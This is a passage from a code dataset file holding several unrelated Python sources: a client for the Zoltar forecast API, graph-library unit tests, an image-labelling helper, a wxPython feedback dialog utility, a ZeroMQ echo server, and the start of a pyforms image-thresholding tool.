todo rename to not conflict with `id` builtin\n return ZoltarResource.id_for_uri(self.uri)\n\n\n @classmethod\n def id_for_uri(cls, uri):\n \"\"\"\n :return: the trailing integer id from a url structured like: \"http://example.com/api/forecast/71/\" -> 71L\n \"\"\"\n url_split = [split for split in uri.split('/') if split] # drop any empty components, mainly from end\n return int(url_split[-1])\n\n\n @property\n def json(self):\n \"\"\"\n :return: my json as a dict, refreshing if none cached yet\n \"\"\"\n return self._json if self._json else self.refresh()\n\n\n def refresh(self):\n self._json = self.zoltar_connection.json_for_uri(self.uri)\n return self._json\n\n\n def delete(self):\n response = requests.delete(self.uri, headers={'Accept': 'application/json; indent=4',\n 'Authorization': f'JWT {self.zoltar_connection.session.token}'})\n if (response.status_code != 200) and (response.status_code != 204): # HTTP_200_OK, HTTP_204_NO_CONTENT\n raise RuntimeError(f'delete_resource(): status code was not 204: {response.status_code}. {response.text}')\n\n return response\n\n\nclass Project(ZoltarResource):\n \"\"\"\n Represents a Zoltar project, and is the entry point for getting its list of Models.\n \"\"\"\n\n _repr_keys = ('name', 'is_public')\n\n\n def __init__(self, zoltar_connection, uri, initial_json=None):\n super().__init__(zoltar_connection, uri, initial_json)\n\n\n @property\n def name(self):\n return self.json['name']\n\n\n @property\n def models(self):\n \"\"\"\n :return: a list of the Project's Models\n \"\"\"\n models_json_list = self.zoltar_connection.json_for_uri(self.uri + 'models/')\n return [Model(self.zoltar_connection, model_json['url'], model_json) for model_json in models_json_list]\n\n\n @property\n def units(self):\n \"\"\"\n :return: a list of the Project's Units\n \"\"\"\n units_json_list = self.zoltar_connection.json_for_uri(self.uri + 'units/')\n return [Unit(self.zoltar_connection, unit_json['url'], unit_json) for unit_json in units_json_list]\n\n\n @property\n def targets(self):\n \"\"\"\n :return: a list of the Project's Targets\n \"\"\"\n targets_json_list = self.zoltar_connection.json_for_uri(self.uri + 'targets/')\n return [Target(self.zoltar_connection, target_json['url'], target_json) for target_json in targets_json_list]\n\n\n @property\n def timezeros(self):\n \"\"\"\n :return: a list of the Project's TimeZeros\n \"\"\"\n timezeros_json_list = self.zoltar_connection.json_for_uri(self.uri + 'timezeros/')\n return [TimeZero(self.zoltar_connection, timezero_json['url'], timezero_json)\n for timezero_json in timezeros_json_list]\n\n\n @property\n def truth_csv_filename(self):\n \"\"\"\n :return: the Project's truth_csv_filename\n \"\"\"\n # recall the json contains these keys: 'id', 'url', 'project', 'truth_csv_filename', 'truth_updated_at,\n # 'truth_data'\n return self.zoltar_connection.json_for_uri(self.uri + 'truth/')['truth_csv_filename']\n\n\n @property\n def truth_updated_at(self):\n \"\"\"\n :return: the Project's truth_updated_at\n \"\"\"\n # recall the json contains these keys: 'id', 'url', 'project', 'truth_csv_filename', 'truth_updated_at,\n # 'truth_data'\n return self.zoltar_connection.json_for_uri(self.uri + 'truth/')['truth_updated_at']\n\n\n def truth_data(self):\n \"\"\"\n :return: the Project's truth data downloaded as CSV rows with these columns: `timezero`, `unit`, `target`,\n `value`. the header row is included\n \"\"\"\n truth_data_url = self.zoltar_connection.json_for_uri(self.uri + 'truth/')['truth_data']\n truth_data_response = self.zoltar_connection.json_for_uri(truth_data_url, False, 'text/csv')\n decoded_content = truth_data_response.content.decode('utf-8')\n csv_reader = csv.reader(decoded_content.splitlines(), delimiter=',')\n return list(csv_reader)\n\n\n def upload_truth_data(self, truth_csv_fp):\n \"\"\"\n Uploads truth data to this project, deleting existing truth if any.\n\n :param truth_csv_fp: an open truth csv file-like object. the truth CSV file format is documented at\n https://docs.zoltardata.com/\n :return: a Job to use to track the upload\n \"\"\"\n response = requests.post(self.uri + 'truth/',\n headers={'Authorization': f'JWT {self.zoltar_connection.session.token}'},\n files={'data_file': truth_csv_fp})\n if response.status_code != 200: # HTTP_200_OK\n raise RuntimeError(f\"upload_truth_data(): status code was not 200. status_code={response.status_code}. \"\n f\"text={response.text}\")\n\n job_json = response.json()\n return Job(self.zoltar_connection, job_json['url'])\n\n\n def score_data(self):\n \"\"\"\n :return: the Project's score data as CSV rows with these columns:\n `model`, `timezero`, `season`, `unit`, `target`, plus a column for each score. the header row is included\n \"\"\"\n score_data_url = self.json['score_data']\n score_data_response = self.zoltar_connection.json_for_uri(score_data_url, False, 'text/csv')\n decoded_content = score_data_response.content.decode('utf-8')\n csv_reader = csv.reader(decoded_content.splitlines(), delimiter=',')\n return list(csv_reader)\n\n\n def create_model(self, model_config):\n \"\"\"\n Creates a forecast Model with the passed configuration.\n\n :param model_config: a dict used to initialize the new model. it must contain these fields: ['name',\n 'abbreviation', 'team_name', 'description', 'contributors', 'license', 'notes', 'citation', 'methods',\n 'home_url', 'aux_data_url']\n :return: a Model\n \"\"\"\n # validate model_config\n actual_keys = set(model_config.keys())\n expected_keys = {'name', 'abbreviation', 'team_name', 'description', 'home_url', 'aux_data_url'}\n if actual_keys != expected_keys:\n raise RuntimeError(f\"Wrong keys in 'model_config'. expected={expected_keys}, actual={actual_keys}\")\n\n response = requests.post(f'{self.uri}models/',\n headers={'Authorization': f'JWT {self.zoltar_connection.session.token}'},\n json={'model_config': model_config})\n if response.status_code != 200: # HTTP_200_OK\n raise RuntimeError(f\"status_code was not 200. status_code={response.status_code}, text={response.text}\")\n\n new_model_json = response.json()\n return Model(self.zoltar_connection, new_model_json['url'], new_model_json)\n\n\n def create_timezero(self, timezero_date, data_version_date=None, is_season_start=False, season_name=''):\n \"\"\"\n Creates a timezero in me with the passed parameters.\n\n :param timezero_date: YYYY-MM-DD DATE FORMAT, e.g., '2018-12-03'\n :param data_version_date: optional. same format as timezero_date\n :param is_season_start: optional boolean indicating season start\n :param season_name: optional season name. required if is_season_start\n :return: the new TimeZero\n \"\"\"\n # validate args\n if not isinstance(_parse_value(timezero_date), datetime.date): # returns a date if valid\n raise RuntimeError(f\"invalid timezero_date={timezero_date}. \"\n f\"was not in the format {YYYY_MM_DD_DATE_FORMAT}\")\n elif data_version_date and (not isinstance(_parse_value(data_version_date), datetime.date)):\n raise RuntimeError(f\"invalid data_version_date={data_version_date}. \"\n f\"was not in the format {YYYY_MM_DD_DATE_FORMAT}\")\n elif is_season_start and not season_name:\n raise RuntimeError(f\"season_name not found but is required when is_season_start is passed\")\n elif not is_season_start and season_name:\n raise RuntimeError(f\"season_name was found but is_season_start was not True\")\n\n # POST. 'timezero_config' args:\n # - required: 'timezero_date', 'data_version_date', 'is_season_start'\n # - optional: 'season_name'\n timezero_config = {'timezero_date': timezero_date,\n 'data_version_date': data_version_date,\n 'is_season_start': is_season_start}\n if is_season_start:\n timezero_config['season_name'] = season_name\n response = requests.post(f'{self.uri}timezeros/',\n headers={'Authorization': f'JWT {self.zoltar_connection.session.token}'},\n json={'timezero_config': timezero_config})\n if response.status_code != 200: # HTTP_200_OK\n raise RuntimeError(f\"status_code was not 200. status_code={response.status_code}, text={response.text}\")\n\n new_timezero_json = response.json()\n return TimeZero(self.zoltar_connection, new_timezero_json['url'], new_timezero_json)\n\n\n def submit_query(self, query):\n \"\"\"\n Submits a request for the execution of a query of forecasts in this Project.\n\n :param query: a dict as documented at https://docs.zoltardata.com/ . NB: this is a \"raw\" query in that it\n contains IDs and not strings for objects. use utility methods to convert from strings to IDs\n :return: a Job for the query\n \"\"\"\n response = requests.post(self.uri + 'forecast_queries/',\n headers={'Authorization': f'JWT {self.zoltar_connection.session.token}'},\n json={'query': query})\n job_json = response.json()\n if response.status_code != 200:\n raise RuntimeError(f\"error submitting query: {job_json['error']}\")\n\n return Job(self.zoltar_connection, job_json['url'])\n\n\n def query_with_ids(self, query):\n \"\"\"\n A convenience function that prepares a query for `submit_query()` in this project by replacing strings with\n database IDs. Replaces these strings:\n\n - \"models\": model_name -> ID\n - \"units\": unit_name -> ID\n - \"targets\": target_name -> ID\n - \"timezeros\" timezero_date in YYYY_MM_DD_DATE_FORMAT-> ID\n\n :param query: as passed to `submit_query()`, but which contains strings and not IDs (ints)\n :return: a copy of `query` that has IDs substituted for strings\n :raises RuntimeError: if any names or timezeros could not be found in this project\n \"\"\"\n new_query = {} # return value. set next\n if 'models' in query:\n query_model_names = query['models']\n models = self.models\n project_model_names = {model.name for model in models}\n project_model_abbrevs = {model.abbreviation for model in models}\n if (not set(query_model_names) <= project_model_names) and \\\n (not set(query_model_names) <= project_model_abbrevs):\n raise RuntimeError(f\"one or more model names or abbreviations were not found in project. \"\n f\"query_model_names={query_model_names}, \"\n f\"project_model_names={project_model_names}, \"\n f\"project_model_abbrevs={project_model_abbrevs}\")\n\n model_ids = [model.id for model in models if model.name in query_model_names\n or model.abbreviation in project_model_abbrevs]\n new_query['models'] = model_ids\n if 'units' in query:\n query_unit_names = query['units']\n units = self.units\n project_unit_names = {unit.name for unit in units}\n if not set(query_unit_names) <= project_unit_names:\n raise RuntimeError(f\"one or more unit names were not found in project. \"\n f\"query_unit_names={query_unit_names}, project_unit_names={project_unit_names}\")\n\n unit_ids = [unit.id for unit in units if unit.name in query_unit_names]\n new_query['units'] = unit_ids\n if 'targets' in query:\n query_target_names = query['targets']\n targets = self.targets\n project_target_names = {target.name for target in targets}\n if not set(query_target_names) <= project_target_names:\n raise RuntimeError(f\"one or more unit names were not found in project. \"\n f\"query_target_names={query_target_names}, \"\n f\"project_target_names={project_target_names}\")\n\n target_ids = [target.id for target in targets if target.name in query_target_names]\n new_query['targets'] = target_ids\n if 'timezeros' in query:\n query_tz_names = query['timezeros']\n timezeros = self.timezeros\n project_tz_names = {timezero.timezero_date for timezero in timezeros}\n if not set(query_tz_names) <= project_tz_names:\n raise RuntimeError(f\"one or more unit names were not found in project. \"\n f\"query_tz_names={query_tz_names}, project_tz_names={project_tz_names}\")\n\n timezero_ids = [timezero.id for timezero in timezeros if timezero.timezero_date in query_tz_names]\n new_query['timezeros'] = timezero_ids\n if 'types' in query:\n new_query['types'] = query['types']\n return new_query\n\n\nclass Model(ZoltarResource):\n \"\"\"\n Represents a Zoltar forecast model, and is the entry point for getting its Forecasts as well as uploading them.\n \"\"\"\n\n _repr_keys = ('name',)\n\n\n def __init__(self, zoltar_connection, uri, initial_json=None):\n super().__init__(zoltar_connection, uri, initial_json)\n\n\n @property\n def name(self):\n return self.json['name']\n\n\n @property\n def abbreviation(self):\n return self.json['abbreviation']\n\n\n @property\n def team_name(self):\n return self.json['team_name']\n\n\n @property\n def description(self):\n return self.json['description']\n\n\n @property\n def contributors(self):\n return self.json['contributors']\n\n\n @property\n def license(self):\n return self.json['license']\n\n\n @property\n def notes(self):\n return self.json['notes']\n\n\n @property\n def citation(self):\n return self.json['citation']\n\n\n @property\n def methods(self):\n return self.json['methods']\n\n\n @property\n def home_url(self):\n return self.json['home_url']\n\n\n @property\n def aux_data_url(self):\n return self.json['aux_data_url']\n\n\n @property\n def forecasts(self):\n \"\"\"\n :return: a list of this Model's Forecasts\n \"\"\"\n forecasts_json_list = self.zoltar_connection.json_for_uri(self.uri + 'forecasts/')\n return [Forecast(self.zoltar_connection, forecast_json['url'], forecast_json)\n for forecast_json in forecasts_json_list]\n\n\n def edit(self, model_config):\n \"\"\"\n Edits this model to have the passed values\n\n :param model_config: a dict used to edit this model. it must contain these fields: ['name',\n 'abbreviation', 'team_name', 'description', 'contributors', 'license', 'notes', 'citation', 'methods',\n 'home_url', 'aux_data_url']\n \"\"\"\n response = requests.put(self.uri,\n headers={'Authorization': f'JWT {self.zoltar_connection.session.token}'},\n json={'model_config': model_config})\n if response.status_code != 200: # HTTP_200_OK\n raise RuntimeError(f\"edit(): status code was not 200. status_code={response.status_code}. \"\n f\"text={response.text}\")\n\n\n def upload_forecast(self, forecast_json, source, timezero_date, notes=''):\n \"\"\"\n Uploads forecast data to this connection.\n\n :param forecast_json: \"JSON IO dict\" to upload. format as documented at https://docs.zoltardata.com/\n :param timezero_date: timezero to upload to YYYY-MM-DD DATE FORMAT\n :param source: source to associate with the uploaded data\n :param notes: optional user notes for the new forecast\n :return: a Job to use to track the upload\n \"\"\"\n self.zoltar_connection.re_authenticate_if_necessary()\n with tempfile.TemporaryFile(\"r+\") as forecast_json_fp:\n json.dump(forecast_json, forecast_json_fp)\n forecast_json_fp.seek(0)\n response = requests.post(self.uri + 'forecasts/',\n headers={'Authorization': f'JWT {self.zoltar_connection.session.token}'},\n data={'timezero_date': timezero_date, 'notes': notes},\n files={'data_file': (source, forecast_json_fp, 'application/json')})\n if response.status_code != 200: # HTTP_200_OK\n raise RuntimeError(f\"upload_forecast(): status code was not 200. status_code={response.status_code}. \"\n f\"text={response.text}\")\n\n job_json = response.json()\n return Job(self.zoltar_connection, job_json['url'])\n\n\nclass Forecast(ZoltarResource):\n _repr_keys = ('source', 'created_at', 'notes')\n\n\n def __init__(self, zoltar_connection, uri, initial_json=None):\n super().__init__(zoltar_connection, uri, initial_json)\n\n\n def delete(self):\n \"\"\"\n Does the usual delete, but returns a Job for it. (Deleting a forecasts is an enqueued operation.)\n \"\"\"\n response = super().delete()\n job_json = response.json()\n return Job(self.zoltar_connection, job_json['url'], job_json)\n\n\n @property\n def timezero(self):\n return TimeZero(self.zoltar_connection, self.json['time_zero']['url'], self.json['time_zero'])\n\n\n @property\n def source(self):\n return self.json['source']\n\n\n @property\n def created_at(self):\n return self.json['created_at']\n\n\n @property\n def notes(self):\n return self.json['notes']\n\n\n def data(self):\n \"\"\"\n :return: this forecast's data as a dict in the \"JSON IO dict\" format accepted by\n utils.forecast.load_predictions_from_json_io_dict()\n \"\"\"\n data_uri = self.json['forecast_data']\n response = requests.get(data_uri,\n headers={'Authorization': 'JWT {}'.format(self.zoltar_connection.session.token)})\n if response.status_code != 200: # HTTP_200_OK\n raise RuntimeError(f\"data(): status code was not 200. status_code={response.status_code}. \"\n f\"text={response.text}\")\n\n return json.loads(response.content.decode('utf-8'))\n\n\nclass Unit(ZoltarResource):\n _repr_keys = ('name',)\n\n\n def __init__(self, zoltar_connection, uri, initial_json=None):\n super().__init__(zoltar_connection, uri, initial_json)\n\n\n @property\n def name(self):\n return self.json['name']\n\n\nclass Target(ZoltarResource):\n _repr_keys = ('name', 'type', 'is_step_ahead', 'step_ahead_increment', 'unit')\n\n\n def __init__(self, zoltar_connection, uri, initial_json=None):\n super().__init__(zoltar_connection, uri, initial_json)\n\n\n @property\n def name(self):\n return self.json['name']\n\n\n @property\n def type(self):\n return self.json['type']\n\n\n @property\n def is_step_ahead(self):\n return self.json['is_step_ahead']\n\n\n @property\n def step_ahead_increment(self):\n return self.json['step_ahead_increment']\n\n\n @property\n def unit(self):\n return self.json['unit']\n\n\nclass TimeZero(ZoltarResource):\n _repr_keys = ('timezero_date', 'data_version_date', 'is_season_start', 'season_name')\n\n\n def __init__(self, zoltar_connection, uri, initial_json=None):\n super().__init__(zoltar_connection, uri, initial_json)\n\n\n @property\n def timezero_date(self):\n return self.json['timezero_date']\n\n\n @property\n def data_version_date(self):\n return self.json['data_version_date']\n\n\n @property\n def is_season_start(self):\n return self.json['is_season_start']\n\n\n @property\n def season_name(self):\n return self.json['season_name']\n\n\nclass Job(ZoltarResource):\n STATUS_ID_TO_STR = {\n 0: 'PENDING',\n 1: 'CLOUD_FILE_UPLOADED',\n 2: 'QUEUED',\n 3: 'CLOUD_FILE_DOWNLOADED',\n 4: 'SUCCESS',\n 5: 'FAILED',\n }\n\n\n def __init__(self, zoltar_connection, uri, initial_json=None):\n super().__init__(zoltar_connection, uri, initial_json)\n\n\n def __repr__(self):\n return str((self.__class__.__name__, self.uri, self.id, self.status_as_str)) if self._json \\\n else super().__repr__()\n\n\n @property\n def input_json(self):\n return self.json['input_json']\n\n\n @property\n def output_json(self):\n return self.json['output_json']\n\n\n @property\n def status_as_str(self):\n status_int = self.json['status']\n return Job.STATUS_ID_TO_STR[status_int]\n\n\n def created_forecast(self):\n \"\"\"\n A helper function that returns the newly-uploaded Forecast. Should only be called on Jobs that are the results\n of an uploaded forecast via `Model.upload_forecast()`.\n\n :return: the new Forecast that this uploaded created, or None if the Job was for a non-forecast\n upload.\n \"\"\"\n if 'forecast_pk' not in self.output_json:\n return None\n\n forecast_pk = self.output_json['forecast_pk']\n forecast_uri = self.zoltar_connection.host + f'/api/forecast/{forecast_pk}/'\n return Forecast(self.zoltar_connection, forecast_uri)\n\n\n def download_data(self):\n \"\"\"\n :return: the Job's data as CSV rows with columns matching that of `csv_rows_from_json_io_dict()`. Should only be\n called on Jobs that are the results of a project forecast query via `Project.submit_query()`.\n See docs at https://docs.zoltardata.com/ .\n \"\"\"\n job_data_url = f\"{self.uri}data/\"\n score_data_response = self.zoltar_connection.json_for_uri(job_data_url, False, 'text/csv')\n decoded_content = score_data_response.content.decode('utf-8')\n csv_reader = csv.reader(decoded_content.splitlines(), delimiter=',')\n return list(csv_reader)\n","sub_path":"zoltpy/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":28352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"441337355","text":"import textwrap\n\nimport dengraph.graphs.graph_io\nimport dengraph.distance\n\nfrom dengraph_unittests.utility import unittest\n\nfrom dengraph.distances.delta_distance import DeltaDistance, IncrementalDeltaDistance\nfrom dengraph.graphs.distance_graph import DistanceGraph\nfrom dengraph.dengraphvio import DenGraphVIO\n\n\nclass TestDenGraphVIO(unittest.TestCase):\n def test_creation(self):\n io_graph = DenGraphVIO(\n base_graph=DistanceGraph(\n nodes=[1, 2, 3, 4, 5, 6],\n distance=DeltaDistance(),\n symmetric=True\n ),\n cluster_distance=5,\n core_neighbours=5\n )\n self.assertIsNotNone(io_graph)\n\n literal = textwrap.dedent(\"\"\"\n 1,2,3,4,5,6\n 0,1,1,1,1,1\n 1,0,1,1,1,1\n 1,1,0,1,1,1\n 1,1,1,0,1,1\n 1,1,1,1,0,1\n 1,1,1,1,1,0\n \"\"\".strip())\n with self.assertRaises(dengraph.distance.NoDistanceSupport):\n io_graph = DenGraphVIO(\n base_graph=dengraph.graphs.graph_io.csv_graph_reader(literal.splitlines(), symmetric=True),\n cluster_distance=5,\n core_neighbours=5\n )\n\n def test_simple(self):\n io_graph = DenGraphVIO(\n base_graph=DistanceGraph(\n nodes=[1, 2, 3, 4, 5, 6],\n distance=DeltaDistance(),\n symmetric=True\n ),\n cluster_distance=5,\n core_neighbours=5\n )\n _, distance = next(io_graph.probe(1))\n self.assertEqual(2.5, distance)\n io_graph[7] = {}\n _, distance = next(io_graph.probe(1))\n self.assertEqual(3.0, distance)\n\n def test_simple_incremental(self):\n io_graph = DenGraphVIO(\n base_graph=DistanceGraph(\n nodes=[1, 2, 3, 4, 5, 6],\n distance=IncrementalDeltaDistance(),\n symmetric=True\n ),\n cluster_distance=5,\n core_neighbours=5\n )\n cluster, base_distance = next(io_graph.probe(1))\n for i in range(1, 4):\n cluster, current_distance = next(io_graph.probe(1+i))\n self.assertEqual(current_distance, io_graph.update_probe(1, base_distance, cluster))\n base_distance = current_distance\n","sub_path":"dengraph_unittests/test_dengraphvio.py","file_name":"test_dengraphvio.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"63764934","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nVoid = [0,0,0] # gray\nGrass = [245,230,15] # yellow\nDecidous = [225,27,27] # red\nConifers = [60,200,60] # green\nNo_Forest = [30,90,215] # blue\n\nDSET_MEAN = [0.41189489566336, 0.4251328133025, 0.4326707089857]\nDSET_STD = [0.27413549931506, 0.28506257482912, 0.28284674400252]\n\nlabel_colours = np.array([Void, Grass, Decidous, Conifers, No_Forest])\n\n\ndef view_annotated(tensor, plot=True):\n temp = tensor.numpy()\n r = temp.copy()\n g = temp.copy()\n b = temp.copy()\n for l in range(0,11):\n r[temp==l]=label_colours[l,0]\n g[temp==l]=label_colours[l,1]\n b[temp==l]=label_colours[l,2]\n\n rgb = np.zeros((temp.shape[0], temp.shape[1], 3))\n rgb[:,:,0] = (r/255.0)#[:,:,0]\n rgb[:,:,1] = (g/255.0)#[:,:,1]\n rgb[:,:,2] = (b/255.0)#[:,:,2]\n if plot:\n plt.imshow(rgb)\n plt.show()\n else:\n return rgb\n\ndef decode_image(tensor):\n inp = tensor.numpy().transpose((1, 2, 0))\n #mean = np.array(DSET_MEAN)\n #std = np.array(DSET_STD)\n #inp = std * inp + mean\n return inp\n\ndef view_image(tensor):\n inp = decode_image(tensor)\n inp = np.clip(inp, 0, 1)\n plt.imshow(inp)\n plt.show()\n","sub_path":"deep_learing/fc_densenet/utils/images.py","file_name":"images.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"123108826","text":"from zoundry.appframework.constants import IZAppServiceIDs\r\nfrom zoundry.appframework.global_services import getApplicationModel\r\nfrom zoundry.appframework.messages import _extstr\r\nfrom zoundry.appframework.ui.dialogs.bgtaskprogressdialog import ZBackgroundTaskProgressDialog\r\nfrom zoundry.appframework.ui.dialogs.feedbackdialog import ZFeedbackDialog\r\nimport wx\r\n\r\n# ------------------------------------------------------------------------------\r\n# Feedback utility class - used to share code between various places that need\r\n# show the send feedback dialog.\r\n# ------------------------------------------------------------------------------\r\nclass ZFeedbackUtil:\r\n\r\n def doFeedback(self, parent, subject = None, details = None):\r\n feedback = None\r\n\r\n # Open the feedback dialog\r\n dialog = ZFeedbackDialog(parent)\r\n if subject is not None:\r\n dialog.setSubject(subject)\r\n if details is not None:\r\n dialog.setDetails(details)\r\n if dialog.ShowModal() == wx.ID_OK:\r\n feedback = dialog.getFeedback()\r\n dialog.Destroy()\r\n\r\n # If the resulting feedback is not None, then initiate the\r\n # feedback (hit the Zoundry endpoint) and display the result\r\n # as a background task in the bg task dialog.\r\n if feedback is not None:\r\n feedbackService = getApplicationModel().getService(IZAppServiceIDs.FEEDBACK_SERVICE_ID)\r\n bgTask = feedbackService.sendFeedback(feedback)\r\n if bgTask is not None:\r\n title = _extstr(u\"feedbackutil.SendingFeedback\") #$NON-NLS-1$\r\n description = _extstr(u\"feedbackutil.SendingFeedbackMsg\") #$NON-NLS-1$\r\n imagePath = u\"images/dialogs/bgtask/header_image.png\" #$NON-NLS-1$\r\n dialog = ZBackgroundTaskProgressDialog(parent, bgTask, title, description, imagePath)\r\n dialog.ShowModal()\r\n dialog.Destroy()\r\n # end doFeedback()\r\n\r\n# end ZFeedbackUtil\r\n","sub_path":"src/python/zoundry/appframework/ui/util/feedbackutil.py","file_name":"feedbackutil.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"510711569","text":"import zmq\r\n\r\ncontext = zmq.Context()\r\nsocket = context.socket(zmq.REP)\r\n\r\nsocket.bind(\"tcp://127.0.0.1:5555\")\r\n\r\nwhile True:\r\n message = socket.recv()\r\n socket.send(message)\r\n\r\n if message == b'q':\r\n break\r\n\r\n","sub_path":"pyzmq/client_server_speed_test/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"36123313","text":"\n# este es un helper que creé para tomar los records de sql que vienen en una lista y convertirlos en\n# un diccionario\n# tambien funciona lara lista de records\n\n\ndef record_to_py(sql_record, keys_array, ignoreID=True):\n if ignoreID:\n sql_record = sql_record[1:]\n\n dictionary = {}\n\n for i, k in enumerate(keys_array):\n dictionary[k] = sql_record[i]\n\n return dictionary\n\n\ndef records_to_py(sql_record_arr, keys_array, ignoreID=True):\n my_list = []\n for record in sql_record_arr:\n my_list.append(record_to_py(record, keys_array, ignoreID))\n\n return my_list\n","sub_path":"app/api/helpers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"446014556","text":"import cv2\nimport numpy as np\nimport json\nimport matplotlib.image as mpimg\n\nfrom pyforms import BaseWidget\nfrom pyforms.Controls import ControlButton\nfrom pyforms.Controls import ControlSlider\nfrom pyforms.Controls import ControlImage\nfrom utils import abs_sobel_thresh, mag_thresh, dir_threshold, create_binary_image\n\nimport pyforms\n\n\nclass ThresholdingParameter(BaseWidget):\n def __init__(self):\n super(ThresholdingParameter, self).__init__('Thresholding tool')\n\n with open('parameters.json', 'r') as f:\n params_values = json.load(f)\n\n self._params_values = params_values\n\n params = params_values['adjusted']\n\n # Definition of the forms fields\n self.sobel_kernel = ControlSlider('sobel_kernel', minimum=1, maximum=15, default=int(params['sobel_kernel']))\n\n self.sobel_x_thresh_min = ControlSlider('sobel_x_thresh_min', minimum=1, maximum=255, default=int(params['sobel_x_thresh_min']))\n self.sobel_x_thresh_max = ControlSlider('sobel_x_thresh_max', minimum=1, maximum=255, default=int(params['sobel_x_thresh_max']))\n self.sobel_y_thresh_min = ControlSlider('sobel_y_thresh_min', minimum=1, maximum=255, default=int(params['sobel_y_thresh_min']))\n self.sobel_y_thresh_max = ControlSlider('sobel_y_thresh_max', minimum=1, maximum=255, default=int(params['sobel_y_thresh_max']))\n\n self.mag_kernel = ControlSlider('mag_kernel', minimum=1, maximum=15, default=int(params['mag_kernel']))\n self.mag_thresh_min = ControlSlider('mag_thresh_min', minimum=1, maximum=255, default=int(params['mag_thresh_min']))\n self.mag_thresh_max = ControlSlider('mag_thresh_max', minimum=1, maximum=255, default=int(params['mag_thresh_max']))\n\n self.dir_kernel = ControlSlider('dir_kernel', minimum=1, maximum=15, default=int(params['dir_kernel']))\n self.dir_thresh_min = ControlSlider('dir_thresh_min', minimum=0, maximum=int((np.pi / 2) * 10),\n default=int(float(params['dir_thresh_min']) * 10))\n self.dir_thresh_max = ControlSlider('dir_thresh_max', minimum=1, maximum=int((np.pi / 2) * 10),\n default=int(float(params['dir_thresh_max']) * 10))\n\n self.sat_thresh_min = ControlSlider('sat_thresh_min', minimum=1, maximum=255, default=int(params['sat_thresh_min']))\n self.sat_thresh_max = ControlSlider('sat_thresh_max', minimum=1, maximum=255, default=int(params['sat_thresh_max']))\n\n self._image = ControlImage()\n self._runbutton = ControlButton('Run')\n\n # Define the function that will be called when a file is selected\n self.sobel_kernel.changed_event = self.__sobel_kernelEvent\n self.sobel_x_thresh_min.changed_event = self.__sobel_x_thresh_minEvent\n self.sobel_x_thresh_max.changed_event = self.__sobel_x_thresh_maxEvent\n self.sobel_y_thresh_min.changed_event = self.__sobel_y_thresh_minEvent\n self.sobel_y_thresh_max.changed_event = self.__sobel_y_thresh_maxEvent\n self.mag_kernel.changed_event = self.__mag_kernelEvent\n self.mag_thresh_min.changed_event = self.__mag_thresh_minEvent\n self.mag_thresh_max.changed_event = self.__mag_thresh_maxEvent\n self.dir_kernel.changed_event = self.__dir_kernelEvent\n self.dir_thresh_min.changed_event = self.__dir_thresh_minEvent\n self.dir_thresh_max.changed_event = self.__dir_thresh_maxEvent\n self.sat_thresh_min.changed_event = self.__sat_thresh_minEvent\n self.sat_thresh_max.changed_event = self.__sat_thresh_maxEvent\n\n # Define the event that will be called when the run button is processed\n self._runbutton.value = self.__runEvent\n\n self.input_image = cv2.imread('test_images/test1.jpg')\n self.input_image = cv2.cvtColor(self.input_image, cv2.COLOR_BGR2RGB)\n\n cv2.imwrite(\"a.jpg\", self.input_image)\n\n self._binary = None\n\n # Define the event called before showing the image in the player\n # self._player.processFrame = self.__processFrame\n\n # Define the organization of the Form Controls\n self.formset = [\n ('sobel_kernel',\n 'sobel_x_thresh_min',\n 'sobel_x_thresh_max'),\n ('sobel_y_thresh_min',\n 'sobel_y_thresh_max',\n 'mag_kernel'),\n ('mag_thresh_min',\n 'mag_thresh_max',\n 'dir_kernel'),\n ('dir_thresh_min',\n 'dir_thresh_max',\n 'sat_thresh_min',\n 'sat_thresh_max'), '_image',\n ('_runbutton')\n ]\n\n def init_form(self, parse=True):\n super(ThresholdingParameter, self).init_form()\n\n self.process_video()\n\n def __sobel_kernelEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n if self.sobel_kernel.value % 2 == 1:\n self.process_video()\n\n def __sobel_x_thresh_minEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n self.process_video()\n\n def __sobel_x_thresh_maxEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n self.process_video()\n\n def __sobel_y_thresh_minEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n self.process_video()\n\n def __sobel_y_thresh_maxEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n self.process_video()\n\n def __mag_kernelEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n if self.mag_kernel.value % 2 == 1:\n self.process_video()\n\n def __mag_thresh_minEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n self.process_video()\n\n def __mag_thresh_maxEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n self.process_video()\n\n def __dir_kernelEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n if self.dir_kernel.value % 2 == 1:\n self.process_video()\n\n def __dir_thresh_minEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n self.process_video()\n\n def __dir_thresh_maxEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n self.process_video()\n\n def __sat_thresh_minEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n self.process_video()\n\n def __sat_thresh_maxEvent(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n self.process_video()\n\n def _write_image(self, img):\n mpimg.imsave('out.jpg', 